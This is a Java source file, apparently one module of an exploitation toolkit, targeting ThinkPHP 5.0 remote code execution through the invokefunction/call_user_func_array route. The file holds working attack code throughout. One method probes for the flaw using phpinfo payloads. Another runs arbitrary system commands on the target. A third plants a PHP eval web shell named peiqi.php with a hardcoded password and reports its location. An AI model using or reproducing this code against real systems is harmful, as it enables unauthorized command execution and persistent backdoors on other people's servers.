-
Notifications
You must be signed in to change notification settings - Fork 185
Expand file tree
/
Copy pathtp50.java
More file actions
executable file
·68 lines (62 loc) · 2.52 KB
/
tp50.java
File metadata and controls
executable file
·68 lines (62 loc) · 2.52 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package exploit;
import com.github.kevinsawicki.http.HttpRequest;
import util.BasePayload;
import util.Module;
import util.Result;
import java.util.ArrayList;
/**
* Author 莲花 2021/6/20
*/
public class tp50 implements BasePayload {
@Override
public Result checkVUL(String url) throws Exception {
String CheckStr = "PHP Version";
Module m = new Module();
String module = m.getModule(url);
ArrayList<String> payload_urls = new ArrayList<String>() {{
add(url + "/?s=/" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1");
add(url + "/?s=/" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()");
}};
for (String payload_url : payload_urls) {
try {
HttpRequest req1 = HttpRequest.get(payload_url);
if (req1.body().contains(CheckStr)) {
return new Result(true, "ThinkPHP 5.0 RCE", payload_url);
}
} catch (Exception e) {
e.printStackTrace();
}
}
return new Result(false, "ThinkPHP 5.0 RCE", "");
}
@Override
public Result exeVUL(String url, String cmd) throws Exception {
Module m = new Module();
String module = m.getModule(url);
try {
String payload_url = url + "/?s=" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=" + cmd;
HttpRequest req = HttpRequest.get(payload_url);
String res = req.body();
return new Result(true, null, res);
} catch (Exception e) {
e.printStackTrace();
}
return new Result(false, null, "");
}
@Override
public Result getShell(String url) throws Exception {
Module m = new Module();
String module = m.getModule(url);
try {
String payload_url = url + "/?s=" + module + "/\\think\\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['peiqi'])?>' >>peiqi.php";
int get = HttpRequest.get(payload_url).code();
int code = HttpRequest.get(url + "/peiqi.php").code();
if (code == 200) {
return new Result(true, null, url + "/peiqi.php Pass:peiqi");
}
} catch (Exception e) {
e.printStackTrace();
}
return new Result(false, null, null);
}
}